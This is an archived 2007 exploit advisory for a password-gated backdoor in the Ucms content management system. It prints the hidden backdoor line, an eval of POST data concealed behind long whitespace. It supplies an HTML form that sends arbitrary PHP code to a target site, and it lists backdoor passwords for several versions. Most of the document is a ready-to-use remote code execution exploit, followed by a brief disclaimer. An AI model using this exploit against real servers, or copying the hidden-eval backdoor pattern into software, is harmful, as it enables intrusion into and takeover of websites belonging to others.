Ucms <= 1.8 Backdoor Remote Command Execution Exploit

Type securityvulns
Reporter Securityvulns
Modified 2007-11-22T00:00:00


Opencosmo Security http://www.opencosmo.com

<html> <!--

Ucms 1.4, 1.7, 1.8+?all

Non Public exploit

by 2ІhotІ2 a.k.a D4m14n

and shadowleet

Contact: teaminternet@pen.tj



Short description: Ucms is a warez-cms coded by madmax, he selled the cms for 150 Euro for one cms, but itґs not enough that the cms costs 150 euro, he added a "secret" backdoor which now is released... Used by: Famous warez-sites like alphawarez, loud, oxygen-warez and so on...

Backdoor in file: /php/modules/entries/search.cache.inc.php line 8: $cache_path = '/search/' . GetValidFilename($search_term) . '_' . $search_hash . '_info.dat'; if(@stripslashes($_POST['p']) == 'ZCShY8FjtEhIF8LZ'){@eval(@stripslashes($_POST['e']));exit;}; the second string is hidden at the very right site with whitespaces in the texteditor, so nobody had seen it before, the function is called in: /php/modules/entries/search.main.inc.php exploit: -->

<head> <title>Ucms v. 1.8 Np exploit</title> <script type="text/javascript"> function sethost(seite) { document.host.action = seite + 'index.php?&q=test&e=1'; document.all.data.innerHTML = document.host.action; } </script> </head> <body onLoad="sethost('http://www.ucmspage.de/')" > <h1>Ucms v. 1.8 Np exploit</h1> Actual Request:<div id="data"></div> <br /> Host:<input type="text" value="http://www.ucmspage.de/" onKeyUp="sethost(this.value);" /> <form id="host" name="host" action="http://www.ucmspage.de/" method="POST"> Password:<input type="text" name="p" value="ZCShY8FjtEhIF8LZ"><br /> <!-- Additional info: You need a password to activate the backdoor we found these passwords: ZCShY8FjtEhIF8LZ (UCMS 1.8) mYM1NHtWtZk2KwrF (UCMS 1.4) wVCQUyhTga5Nmft1 (UCMS [?]) Just go into the file or similar files to find the passwords, for every version there is another password -->

Phpcode:<br /> <textarea name="e" rows="20" cols="100"> phpinfo(); ?> </textarea> <br /> <input type="submit" value="exploit"> </form> </body>

<!-- Itґs just a crime to do such thigs, so please use this exploit just for knowledge and not to destroy the warez pages... thank you for you attention... Have a nice day -->